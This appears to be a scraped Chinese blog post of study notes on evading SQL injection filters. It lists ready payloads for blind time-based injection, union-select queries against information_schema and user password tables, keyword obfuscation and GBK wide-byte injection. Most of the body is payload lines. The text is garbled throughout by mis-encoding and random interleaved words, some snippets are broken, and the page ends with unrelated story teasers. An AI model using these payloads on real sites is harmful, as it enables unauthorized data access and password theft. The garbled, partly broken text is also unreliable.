SQL繞過(guò)學(xué)習(xí)筆記

1.繞過(guò)空格(注釋符/* */,%a0):
  兩個(gè)空格代替一個(gè)空格茶鉴,用Tab代替空格搜吧,%a0=空格:

%20 %09 %0a %0b %0c %0d %a0 %00 // /!/
最基本的繞過(guò)方法,用注釋替換空格:

/* 注釋 */

使用浮點(diǎn)數(shù):

select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
2.括號(hào)繞過(guò)空格:
  如果空格被過(guò)濾,括號(hào)沒(méi)有被過(guò)濾肛冶,可以用括號(hào)繞過(guò)。

在MySQL中扯键,括號(hào)是用來(lái)包圍子查詢的睦袖。因此,任何可以計(jì)算出結(jié)果的語(yǔ)句荣刑,都可以用括號(hào)包圍起來(lái)馅笙。而括號(hào)的兩端,可以沒(méi)有多余的空格厉亏。

例如:

select(user())from dual where(1=1)and(2=2)
  這種過(guò)濾方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for屬于逗號(hào)繞過(guò)下面會(huì)有)

上面的方法既沒(méi)有逗號(hào)也沒(méi)有空格董习。猜解database()第一個(gè)字符ascii碼是否為109,若是則加載延時(shí)爱只。

3.引號(hào)繞過(guò)(使用十六進(jìn)制):
  會(huì)使用到引號(hào)的地方一般是在最后的where子句中皿淋。如下面的一條sql語(yǔ)句,這條語(yǔ)句就是一個(gè)簡(jiǎn)單的用來(lái)查選得到users表中所有字段的一條語(yǔ)句:

select column_name from information_schema.tables where table_name="users"
  這個(gè)時(shí)候如果引號(hào)被過(guò)濾了虱颗,那么上面的where子句就無(wú)法使用了沥匈。那么遇到這樣的問(wèn)題就要使用十六進(jìn)制來(lái)處理這個(gè)問(wèn)題了。
  users的十六進(jìn)制的字符串是7573657273忘渔。那么最后的sql語(yǔ)句就變?yōu)榱耍?/p>

select column_name from information_schema.tables where table_name=0x7573657273
4.逗號(hào)繞過(guò)(使用from或者offset):
  在使用盲注的時(shí)候高帖,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號(hào)畦粮。對(duì)于substr()和mid()這兩個(gè)方法可以使用from to的方式來(lái)解決:

select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
  使用join:

union select 1,2 #等價(jià)于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 #等價(jià)于
select user() like 'r%'

對(duì)于limit可以使用offset來(lái)繞過(guò):

select * from news limit 0,1

等價(jià)于下面這條SQL語(yǔ)句

select * from news limit 1 offset 0
5.比較符號(hào)(<>)繞過(guò)(過(guò)濾了<>:sqlmap盲注經(jīng)常使用<>散址,使用between的腳本):
使用greatest()、least():(前者返回最大值宣赔,后者返回最小值)

同樣是在使用盲注的時(shí)候预麸,在使用二分查找的時(shí)候需要使用到比較操作符來(lái)進(jìn)行查找。如果無(wú)法使用比較操作符儒将,那么就需要使用到greatest來(lái)進(jìn)行繞過(guò)了吏祸。
  最常見(jiàn)的一個(gè)盲注的sql語(yǔ)句:

select * from users where id=1 and ascii(substr(database(),0,1))>64
  此時(shí)如果比較操作符被過(guò)濾,上面的盲注語(yǔ)句則無(wú)法使用,那么就可以使用greatest來(lái)代替比較操作符了钩蚊。greatest(n1,n2,n3,...)函數(shù)返回輸入?yún)?shù)(n1,n2,n3,...)的最大值贡翘。
  那么上面的這條sql語(yǔ)句可以使用greatest變?yōu)槿缦碌淖泳?

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:

between a and b:返回a,b之間的數(shù)據(jù)砰逻,不包含b鸣驱。

6.or and xor not繞過(guò):
and=&& or=|| xor=| not=!
7.繞過(guò)注釋符號(hào)(#,--(后面跟一個(gè)空格))過(guò)濾:
id=1' union select 1,2,3||'1
  最后的or '1閉合查詢語(yǔ)句的最后的單引號(hào)蝠咆,或者:

id=1' union select 1,2,'3
8.=繞過(guò):
  使用like 踊东、rlike 北滥、regexp 或者 使用< 或者 >

9.繞過(guò)union,select闸翅,where等:
(1)使用注釋符繞過(guò):

常用注釋符:

//再芋,-- , /**/, #, --+, -- -, ;,%00,--a
  用法:

U// NION // SE// LECT //user,pwd from user
(2)使用大小寫繞過(guò):

id=-1'UnIoN/**/SeLeCT
(3)內(nèi)聯(lián)注釋繞過(guò):

id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
(4) 雙關(guān)鍵字繞過(guò)(若刪除掉第一個(gè)匹配的union就能繞過(guò)):

id=-1'UNIunionONSeLselectECT1,2,3–-
10.通用繞過(guò)(編碼):
  如URLEncode編碼缎脾,ASCII,HEX,unicode編碼繞過(guò):

or 1=1即%6f%72%20%31%3d%31祝闻,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)占卧。
11.等價(jià)函數(shù)繞過(guò):
復(fù)制代碼
hex()遗菠、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

舉例:substring()和substr()無(wú)法使用時(shí):?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
復(fù)制代碼
12.寬字節(jié)注入:
  過(guò)濾 ' 的時(shí)候往往利用的思路是將 ' 轉(zhuǎn)換為 ' 华蜒。

在 mysql 中使用 GBK 編碼的時(shí)候辙纬,會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,一般有兩種思路:

(1)%df 吃掉 \ 具體的方法是 urlencode(') = %5c%27叭喜,我們?cè)?%5c%27 前面添加 %df 贺拣,形成 %df%5c%27 ,而 mysql 在 GBK 編碼方式的時(shí)候會(huì)將兩個(gè)字節(jié)當(dāng)做一個(gè)漢字捂蕴,%df%5c 就是一個(gè)漢字譬涡,%27 作為一個(gè)單獨(dú)的(')符號(hào)在外面:

id=-1%df%27union select 1,user(),3--+
  (2)將 ' 中的 \ 過(guò)濾掉啥辨,例如可以構(gòu)造 %**%5c%5c%27 涡匀,后面的 %5c 會(huì)被前面的 %5c 注釋掉。

一般產(chǎn)生寬字節(jié)注入的PHP函數(shù):

1.replace():過(guò)濾 ' \ 溉知,將 ' 轉(zhuǎn)化為 ' 陨瘩,將 \ 轉(zhuǎn)為 \,將 " 轉(zhuǎn)為 " 级乍。用思路一舌劳。

2.addslaches():返回在預(yù)定義字符之前添加反斜杠(\)的字符串。預(yù)定義字符:' , " , \ 玫荣。用思路一

(防御此漏洞甚淡,要將 mysql_query 設(shè)置為 binary 的方式)

3.mysql_real_escape_string():轉(zhuǎn)義下列字符:

\x00 \n \r \ ' " \x1a
(防御,將mysql設(shè)置為gbk即可)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末捅厂,一起剝皮案震驚了整個(gè)濱河市贯卦,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌恒傻,老刑警劉巖脸侥,帶你破解...
    沈念sama閱讀 207,113評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異盈厘,居然都是意外死亡睁枕,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評(píng)論 2 381
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)外遇,“玉大人注簿,你說(shuō)我怎么就攤上這事√拢” “怎么了诡渴?”我有些...
    開(kāi)封第一講書人閱讀 153,340評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)菲语。 經(jīng)常有香客問(wèn)我妄辩,道長(zhǎng),這世上最難降的妖魔是什么山上? 我笑而不...
    開(kāi)封第一講書人閱讀 55,449評(píng)論 1 279
  • 正文 為了忘掉前任眼耀,我火速辦了婚禮,結(jié)果婚禮上佩憾,老公的妹妹穿的比我還像新娘哮伟。我一直安慰自己,他們只是感情好妄帘,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,445評(píng)論 5 374
  • 文/花漫 我一把揭開(kāi)白布楞黄。 她就那樣靜靜地躺著,像睡著了一般抡驼。 火紅的嫁衣襯著肌膚如雪鬼廓。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書人閱讀 49,166評(píng)論 1 284
  • 那天婶恼,我揣著相機(jī)與錄音桑阶,去河邊找鬼。 笑死勾邦,一個(gè)胖子當(dāng)著我的面吹牛蚣录,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播眷篇,決...
    沈念sama閱讀 38,442評(píng)論 3 401
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼萎河,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了蕉饼?” 一聲冷哼從身側(cè)響起虐杯,我...
    開(kāi)封第一講書人閱讀 37,105評(píng)論 0 261
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎昧港,沒(méi)想到半個(gè)月后擎椰,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,601評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡创肥,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,066評(píng)論 2 325
  • 正文 我和宋清朗相戀三年达舒,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了值朋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,161評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡巩搏,死狀恐怖昨登,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情贯底,我是刑警寧澤丰辣,帶...
    沈念sama閱讀 33,792評(píng)論 4 323
  • 正文 年R本政府宣布,位于F島的核電站禽捆,受9級(jí)特大地震影響笙什,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜睦擂,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,351評(píng)論 3 307
  • 文/蒙蒙 一得湘、第九天 我趴在偏房一處隱蔽的房頂上張望杖玲。 院中可真熱鬧顿仇,春花似錦、人聲如沸摆马。這莊子的主人今日做“春日...
    開(kāi)封第一講書人閱讀 30,352評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)囤采。三九已至述呐,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間蕉毯,已是汗流浹背乓搬。 一陣腳步聲響...
    開(kāi)封第一講書人閱讀 31,584評(píng)論 1 261
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留代虾,地道東北人进肯。 一個(gè)月前我還...
    沈念sama閱讀 45,618評(píng)論 2 355
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像棉磨,于是被迫代替她去往敵國(guó)和親江掩。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,916評(píng)論 2 344

推薦閱讀更多精彩內(nèi)容

  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無(wú)涯_cc76閱讀 1,930評(píng)論 0 2
  • 1.繞過(guò)空格(注釋符/* */,%a0): 兩個(gè)空格代替一個(gè)空格衙傀,用Tab代替空格抬吟,%a0=空格: %20%09%...
    查無(wú)此人asdasd閱讀 8,869評(píng)論 1 5
  • Sql注入定義: 就是通過(guò)把sql命令插入到web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行...
    付出從未后悔閱讀 686評(píng)論 0 3
  • 今天在我參加的一個(gè)培訓(xùn)上统抬,創(chuàng)始人心跟我們分享了他創(chuàng)辦這個(gè)企業(yè)的初衷火本,是緣于十三年的一件事情任洞。 這家企業(yè)是做為孩子提...
    大禹小漁閱讀 347評(píng)論 0 0
  • CoreLocation框架在LBS類項(xiàng)目中應(yīng)用廣泛,程序員可以用CoreLocation框架輕松的實(shí)現(xiàn)地圖/定位...
    一起去買菜閱讀 3,894評(píng)論 2 20